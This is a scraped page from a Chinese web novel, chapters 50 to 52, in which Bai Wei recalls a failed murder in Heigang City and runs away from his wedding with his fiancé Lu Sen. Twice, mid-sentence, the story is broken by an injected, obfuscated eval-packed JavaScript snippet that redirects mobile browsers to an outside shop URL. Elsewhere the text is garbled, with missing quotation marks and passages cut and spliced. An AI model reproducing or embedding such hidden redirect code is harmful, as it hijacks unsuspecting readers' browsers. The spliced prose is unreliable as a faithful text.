这里变得肮脏又混乱。大街小巷的黑/帮和流氓,不作为的城市政府毁掉了它。大公司的存在又让这里变得金融活跃,遍地都是似是而非的机遇,贫富差距悬殊。白唯看见许多人在这里犯罪,他们像是水蛭,扒在城市身上吸血。 它和他记忆中的那个城市相去甚远。 又或者,在白唯的记忆里,这座城市并没有给他留下太多城市的记忆。那时他和母亲住在一起,平日里大多数时候只是待在家里。他记得房间里的风铃,记得泛黄的墙纸,记得楼下的小街和母亲带他去过的港口。对于城市的其他部分,他一无所知。 他只记得干净、温暖 和温馨。 或许他从一开始就不是想要回到那座城市里而是想要回到记忆里那座城市里的那个房间。或许黑港城从一开始就肮脏又混乱他对它所有的干净与整洁的印象都只来自于那个拥有他母亲的房间。 尽管那座房间里已经再也没有人了。 那是一种强烈的……永远都回不到过去的孤独感。 这是白唯第一次直面自己的回忆 “等等……” “你还想知道什么信息吗?” “等等。”卢森用手指擦了擦他的眼角。 “你……哭了。” 作者有话要说 感谢在2024-07-2520:56:03~2024-07-2700:14:51期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:择席1个; 感谢投出地雷的小天使:屿汜、辞安1个; 感谢灌溉营养液的小天使:一条失去梦想的咸鱼85瓶;东均76瓶;大猫63瓶;528634841瓶;阿又38瓶;春秋36瓶;YY、云舟30瓶;平面向量有事吗29瓶;山衔好月来、山猫的黑羊、长夜何由彻、int20瓶;捕捉宰喵18瓶;鸦祁11瓶;鹅精、禾婉、某屑花露水的锚、子规声雪、老师加更好不好饿饿、转生成为宿星川的第一、哦哦吖、你咋啥都赖我呢、深情的煎饼果子10瓶;青书、691918167瓶;嘿嘿嘿、陌墨6瓶;虾仁炒鸡丁、间歇性神经递质发疯实5瓶;糖、金牌辅助本助3瓶;三年单身换cp成真、某茶嗣、自得其乐、涯诤2瓶;摩尔曼斯克、陆陆、冰冰糖啵啵鱼、五夏绝配、是世事、37630721、朗、霓裳、riku、程迟、清秋、小魔术师z9、咕枯、金桔柠檬猹、哇哇哇哇哇、慕雅、恶人自有恶人嬷、西顾、咩咩虹、一个斯帕纳、72044130、一块老冰糖、喵喵、小血砸、徐戟文、老婆我有花苦茶、折流、qwertyuiop、疏霓、檀多多背后的女人、s呀b呀jj、68661673、酒酿圆子、兔兔捏奶膘、润润润、半夜叫喳喳、凤起九州1瓶; 非常感谢大家对我的支持我会继续努力的! 第 50 章 陌生 ?! 白唯直到此刻才发现,已经有大颗大颗的眼泪沿着他的眼角落了下来。 而他毫无察觉。 他打开卢森的手,难堪地别过脸去,用力地眨着眼睛。此刻在卢森面前,就连伸手将眼泪擦掉都显得过于羞耻了,走出房间更是不用提。 他只能一边抿眼睛,一边祈祷眼泪尽快干掉。 可卢森却抱住了那个想要极力地掩藏狼狈的自己。 “呜……” “你可以把眼泪擦在我的肩膀上。”卢森说,“这样你抬起脸时,我们都可以假装你没有哭过。” “……” “我也可以堵住耳朵,假装没有听见,如果你觉得在我面前流泪,很丢脸的话……” 这不公平。白唯想。 卢森看了他的病历,知道他不是一个完美的白家小少爷。 卢森知道了他在黑港城的童年经历和工作经历,了解到他并不成功。 卢森知道他没有朋友。 可他……对卢森的过去竟然一无所知。 除了卢森是怪物,他什么都不知道。 白唯恶狠狠地扭着头,他通过摩擦,把眼泪都留在了卢森的肩膀上。 等他抬起头来时,卢森说:“宝宝,你这么用力,别把睫毛给蹭掉了。” 白唯:…… 他把脑袋转到了另一边去。 卢森过了一会儿说:“宝宝。” “你看我干什么?继续编啊。”白唯很快地回复道。 卢森:“哦。” 在卢森低头折腾他的文档时,白唯怀疑地伸手,摸了摸自己的睫毛。 很浓密,很完整,没有一点被弄掉的痕迹。 在白唯扒拉自己眼睫毛时,卢森说:“亲爱的,后来你对黑港城怎么看?你喜欢在那里生活吗?” 其实白唯并不讨厌在黑港城生活。 尽管孤独,尽管混乱,白唯就像是恋家的动物,会执着地留在被自己认为是家的城市。虽然十几年过去,属于黑港城的过去都已经消逝,白唯却还能在路过某处街角时,看见十几年未曾被拆掉的图书馆,看见一座废弃的、始终未被再开发的、也曾在十几年前人声鼎沸的居民楼。 来黑港城的第一年,城市 陌生,远方的祖父也没有去世,他有束缚,有牵绊,有扭曲的对自我的执着,尚未对这里怀有极致的仇恨,尚未开始放开天性、追逐自己的“快乐”,尚未下定决心去做一个突破了规则的、以咀嚼他人的痛苦为乐的邪恶的人。 他只是厌恶黑港城的街道,厌恶不作为的政府,厌恶来来往往的“恶人”,他认为这里不该是这样的,他应当着手矫正这里。 或许假以时日,等他的祖父去世后,他会摧毁这里,或被这里摧毁……如果他没有因为一场意外提前离开那里的话。 “你讨厌那里的垃圾,讨厌那里的嘈杂……我懂了,你是想在那里,寻找自己的家。” 卢森说。 白唯骤然抬起脑袋:“你说什么?” “你想在黑港城找到自己的家,就像你想要拥有的、记忆里的幻想一样。但你失望了,那里从一开始就不可能成为你的家的模样。”卢森眼眸湛蓝,“还好我们来了这里。” “这里风景秀美,民风淳朴,街道干净,而且存在于当下。你会喜欢在这里安家的。还好我们走到了这里。” ……卢森真是愚蠢,他甚至不知道自己想要杀了他,然后离开这里。 “后来你为什么要离开黑港城呢?”卢森小心翼翼地说,“你有没有遇见对于你来说,很坏很坏的事?” 卢森捏着自己的裤腿。这些天以来,他学到了一些与人类有关的常识。因此,他反而更紧张了。 “因为……” 那本该是白唯人生中的第一次谋杀。 在多次向政府部门汇报无果后,白唯终于下定决心,要对电视台楼下的赌鬼流浪汉进行一场清洁。他跟踪了对方嗜赌如命、过量服用违禁品的生活路线,最终决定将他溺毙在郊外破败的汽车旅馆里,制造流浪汉赢钱、过量服用药物而死在浴缸里的假象。 下定决心后,白唯有一种鬼鬼祟祟的快乐。直到他将对方装进麻袋里,打包至汽车旅馆时,白唯才发现,自己绑错了人。 躺在地上的,是一张陌生而干枯的脸。那个人先是喝了他两瓶水,然后一进房间就踉跄奔入浴室,像是渴了很久。 这个人也是污染黑港城环境的、流浪汉中的一员。白唯最终决定,像干掉计划里的那个人一样也干掉他。 然而,那个人却把他掀翻在了床上,舔干净了他身上的汗。 一场谋杀变成了荒谬绝伦的一夜情。让白唯感到恐慌的是,在那个人的力量面前,他竟然完全没办法反抗。他们几乎做到了最后一步,在那之前,那个人像是喝饱了水似的,满足地沉沉睡去。 而白唯怀着被侮辱的愤怒,掐死了他,把他扔进了垃圾箱里。 然而,最终促使他离开黑港城的并非是对这段黑历史的逃避或厌恶。 “挫败感。”白唯说,“我觉得我没有能力……” 在黑港城做一个连环杀手,城市清洁工。 也没有能力…… 让黑港城的政府清理干净这座城市里的怪物。 更没有能力回到从前的房子里,从前的房间里。 而如今,他竟然连成功杀人都做不到了。 有毒的种子会长出扭曲的树杈,可即使如此,那也是一种成长。而他此刻,已经不知道自己应该发芽的方向。 除了回到北都,他不知道自己还能去哪里。 “挫败吗……”卢森的语气略带疑惑,“竟然是因为挫败……” 这和卢森原本以为的、白唯离开黑港城的原因完全不一样。 他以为这是由自己给白唯留下的心理阴影造成的。他考虑到白唯会恐惧、会悲伤、会厌恶,却唯独没有想到挫败。 ——看来,他还不够了解白唯。他会拥有这种想法,一定还有别的原因。 “你已经很厉害了,宝宝。你比你想象中更加优秀。”卢森说。 ……不,一点也不,你还活在我对面,就是我失败的证明。 “你在扮演我的心理医生吗?”白唯几乎有点想笑了,“你不打算开民宿,打算开心理诊所了?” 开心理诊所的话,卢森就必须每天在岗,不能同时拥有民宿和修车店两份收入了。卢森思考后,回答:“亲爱的,我还是想开民宿。” 白唯:…… “那你开吧。”他语气不善地说。 “离开黑港后,在北都的事……嗯,我知道,你在北都写作,偶尔去图书馆帮忙。”卢森说,“那段时间你的写作状态不错。在两部作品后,你和新的出版社签订了合约。你和我说过这个,而且你积极 地在准备新的稿子……这段时间插入不了旅行。 白唯的脸色变得有点难看了:“嗯。 倒不是因为卢森,而是因为那时的出版社。 卢森:“那段时间你的对外活动很多,找不到插入我们去旅游的事件的契机。这是一个空窗期,我应该怎么解释?嗯,可以说我忙着毕业设计,恰好手机也坏了,手机卡掉了,失联了…… “可以说我们当时分手了。白唯发现自己竟然有闲心陪着卢森编故事了。 “不行,即使是在编造的故事里,我们也不能分手。卢森态度坚决,“一次也不能有过。 他的语气如此斩钉截铁。白唯在莫名其妙的同时,又觉得手指有些不安般,不知道该往哪里放:“那随便你编吧,反正他们不会详细问的。 “可以这样说——在我们初次相识时,我们从来没有想过,今后还会一直出现在彼此的生命里。卢森斟酌道,“你知道你在未来,会有一个门当户对的未婚夫。你的祖父会更喜欢他,而不是一个会在沙滩上溺水的,来自异国他乡的陌生人。 “而我,我知道自己只是个游子。我不属于这座城市,也不属于任何城市。我想,你若是知道我的过去……的传闻,你一定会觉得,我是个很坏的人。而且,我怕我给不了你未来。所以……我们只是把彼此当成好朋友在相处。卢森说。 “这听起来和分手比也没有好到哪里去。白唯反驳,“相反,这让我们两个人听起来都更糟糕了。 “……有更糟糕吗? “满是弱点、阴暗的想法、逃避的人格,和这种情况下还要偷偷地、持续着一段关系,和克制不住人性弱点的偷情与贪婪没什么区别。白唯评价。 “但这样的我们还在努力地爱着彼此,不是更加珍贵和伟大吗? “我不觉得。白唯说,“像这样的两个人,谁会相信他们彼此相爱呢? 屋子里的气氛像是一下子就冷下来了,窗框旁也结起了冰霜。白唯在心慌之下说出了这段话,可他的心慌没有因为表达观点而好转。 相反,它愈发地跳个不停,仿佛心律不齐。 “……好吧。卢森说,“我们在讲述故事时跳过这段。 “嗯。跳 过这段,他们自己会脑补的。 白唯在那一刻觉得,他刚才不该说出这段话。因为卢森低下了眼,继续去看他的文档了。 可他又觉得自己什么都没说错。即使今天不说,他早晚也会在一举一动之间表达出自己的观点。 他是什么时候开始,觉得自己和卢森之间可以有“早晚的? 卢森:“国家的不同让我们错失了联系上彼此的机会。然后我们就重逢、交换真实的姓名并且订婚了。谁能想到呢?我们一见钟情的人,竟然是彼此的未婚夫。我们因丢失手机卡而断掉的红线,在这一刻又链接了起来。天底下怎么会有这么巧妙的缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101042|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分?我们回到青禾订婚,然后,我们逃婚…… 他顿在了这里:“很多人也问我们,为什么逃婚,是不是被家里人反对。 当然不是因为家里人反对。白家所有人都像中邪了似的喜欢卢森这个赘婿,而后,在一个星期内,全青禾的人都中了邪。 这离不来卢森的艰苦奋斗。在这一个星期里,他好不容易才洗脑了整座城市。在那之后,他将继承白家的一座庄园,几座工厂,百家店铺,千亩良田,还有几万个将他视为人类之光的青禾居民。 (虽然那座城市在玩家们眼中,像是一个全员被邪/教洗脑的恐怖副本) 白唯掀起一点眼皮:“你说为什么? 卢森:…… “好吧,我也不知道为什么。卢森诚恳地说。 白唯:? “我以为,你带我走时,有什么主意或者想法?他不可置信地说。 卢森:“呃……你为什么同意和我私奔呢? 白唯:…… “我也不知道为什么。他嘀咕道。 他们在全青禾的人的眼中是多么般配的一对年轻人。他们健康、年轻、英俊、富有,应该在所有人的祝福声中完美地踏入婚姻殿堂,再由白唯的祖父将白唯的手交到卢森手中,他们已经在青禾的民政厅办下了合法手续,拥有了结婚证。一个万众瞩目的婚礼,不过是一个过明面的仪式,不过是临门一脚。 可他们偏偏在那临门一脚之前一起跑了。 回想起来,白唯在带着卢森回青禾、回到白家时,是存着让他被为难的心思的。 在回青 禾为结婚准备前,卢森刚从一场车祸中康复。白唯带他坐飞机,在下楼梯时嘱咐他小心。卢森说:“亲爱的,这一路上你对我真细心。 白唯心想,那可不得这样做。卢森这个人很容易就会死。如果让他在婚礼前出了事故、耽误了婚礼,白家可丢不起这个人。 而且,他也想看看祖父对卢森不满、为难卢森的模样。在这之前,卢森曾经见过几次他的祖父,但每次的时间都不长,而且未曾一起生活。白唯于是在心里有一种隐秘的期待——他希望卢森也能在他祖父面前出个丑,被挑出一些毛病来。 毕竟,他的祖父可是出了名的苛刻。 然而事实是,祖父对卢森极其满意。从生活习惯到为人处世,祖父不仅没有挑出卢森哪怕一个毛病,还称赞他的得体。卢森在这个过程中曾回头看了白唯一眼,就像他认为白唯会对他更加满意一样。 然而并没有。白唯远远地看着他们两人,觉得手脚冰凉,乃至于陌生。 那一刻,他觉得卢森和自己,更加不是一国的。 他们明明是一对陌生夫夫,可卢森对于他而言,却如此陌生。 婚期将近,白家张灯结彩,气球和彩灯被运进白家。白唯却在他的房间里越来越难以入睡。 在婚前,白唯不能和卢森住在同一间房间,卢森住在客房,他仍旧住在他母亲的旧卧室——那座能看见紫藤花的房间。 因此,他得以在半夜睡不着时,能一个人起来,坐在窗台旁。 祖父希望他们能从此留在青禾,卢森同意了。祖父希望他们能从此专心打理家业,卢森也十分支持。祖父希望他们能维持白家的百年声名,依旧让方圆百里的居民们爱戴,卢森也十分赞成。卢森说:“能让我的名字留在白家的族谱上,已经是我十足的幸运。 祖父觉得卢森很上道。白唯也是这样想的。这原本也是白唯从小被灌输的人生目标。但这一刻,在月色下,他却莫名感到悲怆。 这将是他从此的人生,是这样吗? 就在这时,他忽然发现,窗下站了一个人。而且那个人,已经看了他很久了。 作者有话要说 补了半更,还欠1500.感谢在2024-07-2700:14:52~2024-07-2720:19:38期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:灰诹、Xxxx、超低空飞行、大猫1个; 感谢灌溉营养液的小天使:十秒70瓶;糟糕30瓶;九鹿、糖20瓶;松乔19瓶;有长风作别17瓶;非吾所依11瓶;47404598、周生、维吉尔的狗、233333、阿又、找神索命魂10瓶;有亿点好运8瓶;明昧、安折、间歇性神经递质发疯实、归宁5瓶;喵喵3瓶;墨微雨、摩多摩多、究惑久久2瓶;凤起九州、乌鱼安雨、摩尔曼斯克、灰色浅白、(ovo)、yee、34590880、63185733、一个斯帕纳、冰冰糖啵啵鱼、想你的余、riku、西伯利亚大仓鼠、s呀b呀jj、牛紫文gh、咕枯、我说不言语云无归处、是世事、Ambiguous、老婆你说句话呀、朗、糖、35379309、小血砸、原木1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 51 章 Onedaymore 卢森站在凄冷的月光下,幽暗的紫藤花中。那道月光恰好打在他的脸上,使得那张白日里英俊绝伦的脸此刻有一种立体的阴森,以至于带出三分非人感。 此刻,他仰着脑袋,静静地看着白唯窗台的方向。 如果不是那片云从月亮上移开,如果不是月光落在了卢森的脸上……白唯甚至不会发现他的存在。 “你站在那里多久了?”白唯说。 卢森低头看了一眼他的手表:“二十分钟。” 手表黑金配色,在两天前,被白唯的祖父从盒子里取出。他用眼镜布细致地、小心地擦干净了表带和表链上每一枚潜在的灰尘,然后将它戴在了卢森的手腕上。 那枚手表上是不会有灰尘的,它被放在一个木质的盒子里,盒子又被放在祖父的保险箱里。保险箱里藏着地契、藏着族谱、藏着白家一切有价值的东西。多年来它们在那幽闭的空间里静静沉睡,冻结着白家的荣耀,直到每次改朝换代时。 “这是我买给白雎的手表,为了奖励她进入海军学院。”祖父说,“你既然娶了白唯,那现在,我把这只手表给你。” 比起十几年前将白唯接回青禾那时,祖父又苍老了许多。可他依旧挺直背脊,像是一个不曾有机会上战场的战士。卢森敬重地接过手表,道:“谢谢您对我的信任。” 白唯本该为那句“娶了白唯”而震惊的……事情竟然真的如此尘埃落定了。祖父真的决定让他和一个男人结婚,而且还用了“娶”这个字。传统的祖父真的疯了。可他那一刻的心却完全放在另一件事上,他的心就像手表的指针一样,重新开始走动。 这是时隔多年祖父第二次提到白雎。 白唯曾以为,祖父会很多次提到自己的母亲,就像他把他从孤儿院接回来时曾提到他母亲那样。他会和他一起怀念她,多次提到她,说起她童年、幼年、少年时的故事。 等到那时,白唯会紧张。他不知道自己能不能说出一个正常的孩子本应说出的,怀念母亲的话。他的话语就像不规则的鹅卵石,因为不规则,吐出来也显得异常,好在,它们早就因为那嶙峋的怪状而卡在喉咙里面,吐不出来。 但事实上,在那之后的漫长少年时光里,祖父从来没有提起过白雎的事。他就像是把她忘了, 就像这座住宅里从来没有这一个人。 白唯觉得自己或许知道这是什么。在他在白家的最初两年里,祖父看着他,经常说出另一个名字:“白雎…… 而后,他会用白唯的名字修正这句话:“白唯,去把那本书拿下来。 祖父或许是个很刚强果敢的人吧。他花费两年,终于再也不会叫错白唯的名字了。他也不会在路过走廊,看见白唯背影时,因恍惚一瞬而叫错名字。 祖父第一次提到他的母亲,是白唯填报完升学志愿之后。他来到白唯的房间,坐在一把藤编椅子上。他微微仰着脑袋,这让他可以看到柜子顶上的、三十年前的模型。在白唯升学的宴会之后,在喝了一些酒而白唯终于也要暂时离开青禾之后,他忽然开了口,提到了一个不存在于这个时间上的幽灵。 “我小时候,我的曾祖父曾经拥有过庞大的产业,比你现在看见的还要庞大。然而新时代的到来,技术的发展,权力的更替结束了这一切。轮船、枪炮、蒸汽机,它们使得老式家族的一切摇摇欲坠。曾祖父说沉重的责任扛在我们的身上,我们要做的,是跟上新时代。曾祖父送他的弟弟去做海军,长子守成,幼子也应当承担拓宽、拯救家族的重任。可他最终死在了海上,再也没有回来。 “他的同伴带了一捧骨灰回来。曾祖父把那捧骨灰放在祠堂里,十数年祭拜。直到那名同伴因病去世前,他才告诉曾祖父,那并不是曾祖父的弟弟的骨灰。他的弟弟没有英勇地死在发掘新岛屿的战斗里,而是因为颠簸和恐惧消失在了海上。那捧骨灰属于一个无名的水手。 “后来,我的祖父和父亲,是两名花花公子。他们败光了几乎所有的家产。我的祖父活在混沌和享乐里。我的父亲则活在恐惧与麻痹自己的厮混里。他比谁都明白,这个家即将撑不下去了。可他假装自己不明白,只是喝酒、抽烟、玩儿牌。 “直到我的白家时代。 “在我那个时代,所有人都在出海。他们到世界各地寻找谋生路的机会,在不属于自己的世界里扎根,每个人都成为游子。而我那时,想成为一名海军。然而,我的右腿在一场高烧之后留下后遗症,我永远也不能实现这个梦想。祖父拍了拍自己枯瘦的右腿,“然而对于一个男人而言,梦想并不是重要的东西。 我留在青禾,即使拖着一条瘸腿,也一点点取回了属于白家的家产。即使我知道,不少人称呼我为老瘸子。 “白雎是我的儿子。她是我这一生唯一的孩子,也是我的骄傲。祖父威严的、浑浊的眼睛里,流露出了对于过去的怀念,“在她小时候,就在这个房间顶上的阳台上,我把她高高举起来,让她坐在我的肩膀上,看从天空中飞过的飞机。我告诉她,我会帮助她去最高最远的地方。这就是我的儿子该做的事情。她也会喜欢海洋的,喜欢轮船,因为她是我的儿子。 “她是我的骄傲。当那所学院的那个专业,因为莫名其妙的性别原因拒绝她入学时,我给所有我认识的人打电话。我告诉他们,他们是一群有眼无珠的白痴,蠢货,我的儿子比任何人的儿子都要优秀,他们错过了一个绝对的天才。最终,她成了被破格录取的第一个学生。她收拾东西离开家,就在这间房间里。就像现在的你一样。 十七岁的白唯怔住了。他看着房间二十多年没有改变过的装潢,看着落灰的模型,想着一个和他面容相似的、短发的“儿子,就坐在他现在的位置上。祖父说:“可她在进入学院之后,她做了一个错事……大错特错。她爱上了一个男人。 “她当着我的面,把我买给她的西服一件件扔在床上。她说爸爸,你为什么不肯承认,我是你的女儿,不是一个儿子,你的眼里为什么从来没有看过到我呢?我质问她,我勃然大怒。我问她为什么要逃课和这个男人在一起,为什么不肯做一个骄傲。她哑口无言,嚎啕大哭,就像疯了一样。 祖父说完了。或许,他不是说完了,而是说到现在这一步,便再也不想开口了。他仰着头,呆呆地看着天花板,而后,他说:“白雎本该是高飞的鸟儿。 “…… “白唯,现在,你即将离开青禾。北都大学是一所很好的大学,你要始终做出正确的决定。不要让自己后悔。 而现在,他把那只表赠给卢森了。那是一只在谈话的那一夜也不曾被提起过,不曾被赠给过白唯的表。这代表着祖父已经认可了卢森成为他的伴侣。 而现在,那只表就戴在卢森手上。 “后天就是婚礼,你为什么半夜来这里?白唯说,“你是来找我的么? 他 没办法克制自己盯着卢森的那块表。 “最开始不是。卢森说,“从后天开始,我将是这座庄园年轻一代的两名主人之一。我想完整地看一遍这座庄园,看我将生活的环境,看我将拥有的一切。 “哦。白唯说,“看来你很适合住在这里,也很适合做下一代家主。毕竟,热情和兴趣比什么都重要。 他的脸上不知不觉间出现了有些嘲讽的笑容,可他并不知道,除笑容以外,更多地出现在他脸上的,是极致的疲惫。 面对这听似夸奖,也很可以作为剑拔弩张的开端的一句话,卢森的回答却是:“你介意让我上楼来看看么? 白唯住在二楼。在他的窗台下,有一扇小门,锁住了盘旋向上的楼梯。 “哦。 他从抽屉里找出钥匙,顺着阳台扔到楼下。卢森捡起钥匙,小门发出开锁的声音。他进入了一楼的会客室,顺着楼梯走上来了。 白唯坐在藤椅上,没有站起身。他觉得自己有理由不站起来去迎接自己的未婚夫。 他终于可以用亲密关系的“特殊性当借口,不去做自己不想做的事情。 他没有力气,每根骨头都没有力气。 卢森敲了敲他卧室的门:“我可以进来吗? 门分明是开着。他们分明在隔着房间对视,可卢森还要做这敲门的举动出来。 “请进。白唯用同样的方式回应他。 卢森站在房间中央。他也抬头,看白唯的房间。 这还是卢森第一次进入白唯的房间。 他看了太久。白唯不得不说:“你觉得我的房间怎么样? 白唯有些不耐烦了。他的手垂在椅子上。 卢森客气地说:“和我想象中的不太一样。 “哪里不一样? “在北都时,我没见过你对这些模型有兴趣。或许这是你的隐藏爱好?但它们很显然,已经三十多岁了。 “那是我母亲留下的。那是她的爱好……或许说我祖父的爱好。白唯改口。 “它同时是你母亲和你祖父的爱好吗?卢森询问。 “嗯,家族遗传。白唯觉得这句话散发着从地狱里爬出来的幽默感。 “我只听说过 血缘可以遗传。看来或许你家的遗传有所不同。”卢森说。 如果坐在藤椅上的是如今已婚一年半的白唯他会知道卢森这话是真心诚意的。因为他是个不懂生物学的文盲、弱智。 可那时的白唯看着穿着米色西服、戴着黑金手表、举手投足都如古典绅士一般的卢森心里涌起的只有被嘲讽的怒气。 “这些衣柜、桌子、家具、墙上的挂饰看起来最少也有三十年历史。这个房间不像是你的倒像是你借住在别人的房间里。”卢森说“你不被允许改变这间房间的装饰吗?” “结婚后我们不会住在这个房间里的。我们会搬到主人房去。”白唯打断他。 “哦好的。”卢森文质彬彬地说“我非常高兴。” 白唯有些忍受不了了。他说:“你还有别的问题吗?” “有一个。”卢森说“那间主人房也曾属于这座宅子里的别的夫妻吗?” 白唯:“……” “我们会一直拥有那间房间的使用权吗?还是当我们的新一代成家后我们会搬到其他的房间去?”卢森说“你看起来并不太愿意回答我的问题。不好意思看来我的提问冒犯到你了。” “你什么时候可以不这么装模作样?” 一句话从白唯的嘴里冷冰冰地飘了出来。他面色不善地看着卢森他的未婚夫。他套在他精致的睡衣里像是一个精致的囚徒。 囚徒坐在月光下。月光将窗棂打在他的身上分割出明明暗暗一格又一格。 终于他说:“后天婚礼我想我们该早点睡了。明天 “你说得对、”卢森说“不过我还有个问题。” “什么?” 卢森就在此刻走到了他的身前。 他蹲下身托起白唯的手腕将自己的手机放在白唯的手里。手机界面上显示着火车票查询信息。有一辆名为“月光”的观光列车将在三个小时后出发。 “观光列车的起点是青禾终点是雪湖。在雪湖有当省最大的国际机场。每天有数百个航班在那里来来回回。光是明天去荷兰的航班就有五趟。我们可以坐着飞机从雪湖的机场去任何地方。你想和我一起去吗?”卢森捏着白唯的手指 把它放在手机屏幕上。 “……” “我想我还没有做好面对婚礼的准备你也是。但是我们可以先去一趟雪湖。月光列车的速度不快开到雪湖需要八个小时。但稳定是它的优点你可以在列车上再睡觉。” “……” “我们可以先在荷兰定一个酒店房间休息一下。然后我们可以考虑婚后去哪里定居。我们会买一套房子——一套在里面能住几十上百年的房子。我们想住在哪个房间就住在哪个房间。即使我们的孩子想要我们的大房间我们也绝不给他们。而别人只要一进房屋 “……” “你愿意吗?从列车往外看青禾处处是碧色进入雪湖或许就是白雪皑皑了。但我们不会无聊。很多艺术家会喜欢坐这辆车。他们会在列车路过雪山时拉小提琴我们可以在那时向服务员要一杯香槟。” “……” “在背后的花园里有一辆黑色的小车。我们可以开着车从后门出发。从这里到月光列车的起始点需要两个小时。换衣服需要三十分钟收拾东西需要二十分钟。从这里到小车需要六分钟。” “……” “也就是说你还有四分钟也就是240秒的时间决定要不要在这片长夜里和我一起……” 去坐列车去看风车去青禾之外的地方。 白唯没有说话。 他把头紧紧地埋在自己的脖子里。卢森握着他的手指按着他的指节想要他的手按在那个“购买车票”的按钮上。白唯修长纤细的手指骨节凸起着。他的手指也颤抖着摇摆着。 可他比一根陨铁还要顽强。他没有弯曲没有按下来。 “好吧。”卢森说。 他不再按压白唯的手指了。他站起来道:“六个小时后见我想我们会有一场份成功的婚礼的。我也很期待你穿白西装的样子。” 他关上房门顺着楼梯走到楼下。站在白唯的窗台下时他又在那里停留了一会儿。他看着远处的、树林里升起的雾气。偌大的庄园遥远的山林还有山下的所有的居民这里如今都将属于他自己了。 可就在这时他听见背后传来了窸窸窣窣的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在这浑浊的、粉紫色的天空下,卢森说:“亲爱的,我没想到你会收拾得这么快。 白唯说:“如果你只带了身份证件、护照和银行卡的话,你也可以走得很快。你呢? “我也是。不过我把两样东西留了下来。卢森说。 “我留了一个便条。白唯片刻后道。 “我也留了一个便签,给你祖父的。除此之外,我还留了个 东西。” 白唯疑惑卢森在这时晃了晃手腕。他的手腕空空。 那枚手表被他留在了自己房间的桌子上。 远处的天色越来越粉青禾的黎明即将到来了。他们开着车在公路上上抖下抖卢森说:“我们现在这样是否像是两个逃犯?你的家族会来追捕我们吗?” 白唯只是打开汽车音响。他用手机链接音响 IIwillbeking Andyouyouwillbequeen Thoughnothingwilldrivethemaway Wecanbeatthemjustforoneday 他们花费三个小时开车至月光列车起始站。在天色微明时坐上这辆吐着白气的火车。 “喂!你们!就是你们!”列车站的老头子对旁边的人说“就是他们两个一对小情侣。很早就过来了大概是今天第一个到候车厅的吧。” “祝你们旅途愉快。”列车员笑眯眯地说。 白唯把手机放在自己的裤兜里。卢森亦然。他们都发现在踏上列车时他们彼此的步履都有些踌躇了。 但他们都走上了这辆列车。 列车嗡鸣着驶离了车站。最多半小时后又或者是现在庄园里的人都会发现明天盛宴的主角的消失。他们没有拿走庄园里的任何一件东西除了他们彼此和自己。庄园里的人会疯狂地拨打他们的电话却得不到任何回音。 白唯感到害怕感到痛苦感到心事重重。很快他感到麻木感到脑袋变成了浆糊。可他坐在包间的一边卢森坐在他的对面。终于白唯可以闭上眼假装自己睡着了。 很快他真的睡着了。 列车驶过草原青青和白雪皑皑。开车三小时列车八小时前往荷兰的飞机七小时。尽管这花费了十八小时但是全程白唯都未曾向回走过。 卢森亦是如此。 …… 而如今他们坐在雪山镇的一座房子里。依旧是面对着面。 “我以为你至少知道我们是要干什么去的。”白唯说。 “好吧我以为你知道你是想去什么样的地方的 。”卢森说。 他们之间很久都没有话在讲。只有风吹过窗下玫瑰,发出簌簌的声音。 “这段你打算怎么写?”白唯说。 “这段你希望我怎么写?”卢森诚恳地说。 “我们蜜月时去过很多地方,不是吗?就按照实话来写吧。”白唯道,“也没有什么可以加工的空间了。” 他托着下巴,想要闭目养神。卢森道:“但去许多地方时,你心不在焉。尤其是在管家打来电话后。他告诉你,你祖父向外界传闻,说你病倒了。所以婚礼取消。” “……” “我以为管家打电话过来,会让你轻松一些。毕竟,那是管家,而不是你祖父,但好像……” “就是因为打来电话的是管家,我才感到更痛苦。”白唯说。 “你那时后悔了吗?想要回去吗?”卢森又道。 这次白唯沉默了更久。 最终他说:“没有。” “没有吗?” “没有……你到底是在想办法编造故事,还是在借此机会追问我到底是怎么想的?”白唯有点恼火了,“在人生的每个环节上?” 卢森:“呃,好吧,我们跳过这段。我们的旅程最终在那不勒斯结束,因为一点小小的意外……然后在那之后,我们一起坐飞机回到了国内。” 白唯的脑海里又出现了卢森在他面前被流弹爆头的模样。 在那之前,白唯本来想要质问卢森学历造假的事,和各种经历造假的事。他已经从这些天的旅行里收获了足够多的整局,也自信自己的质问会非常有信服力。 直到一枚不知道从哪里出来的子弹将卢森的脑袋打得开花。 而卢森现在还好意思说“小小的意外”?! 卢森:“在到达国内机场后,我们一起去了南都……你在南都的日程是什么样的?有认识什么新人么?” 白唯终于站了起来。 “今天的编造就到此为止吧,我累了。”他说。 卢森:“但我记得,你和你竹马李愿的那个朋友,就是在南都认识的。他也是个富二代不是吗?富二代,花花公子。李愿拜托他请你吃饭,问问你的情况。你和他就这么认识了。然后,他缠着你不放……” “你也缠着 第 52 章 忠诚 你在黑港城工作的每个工作日下班后,没有对着空荡荡的出租屋,对着巨大下沉的太阳,感到刻骨的孤独。 因为你知道,每个日落日升,都会让你距离周末更近。每个周末,会有人跋山涉水,在这偌大喧嚣的城市里独独为你而来。 你没有独自一个人忍受黑港城的脏乱差。因为有一个人走在你身边,也在大声地抱怨。其实你知道,他说不说话,抱怨不抱怨都没什么用。他就像春天集市里买来的花瓶,秋天路边捡来的薰衣草。他没什么用,但放在那里,也能让你转移注意力。 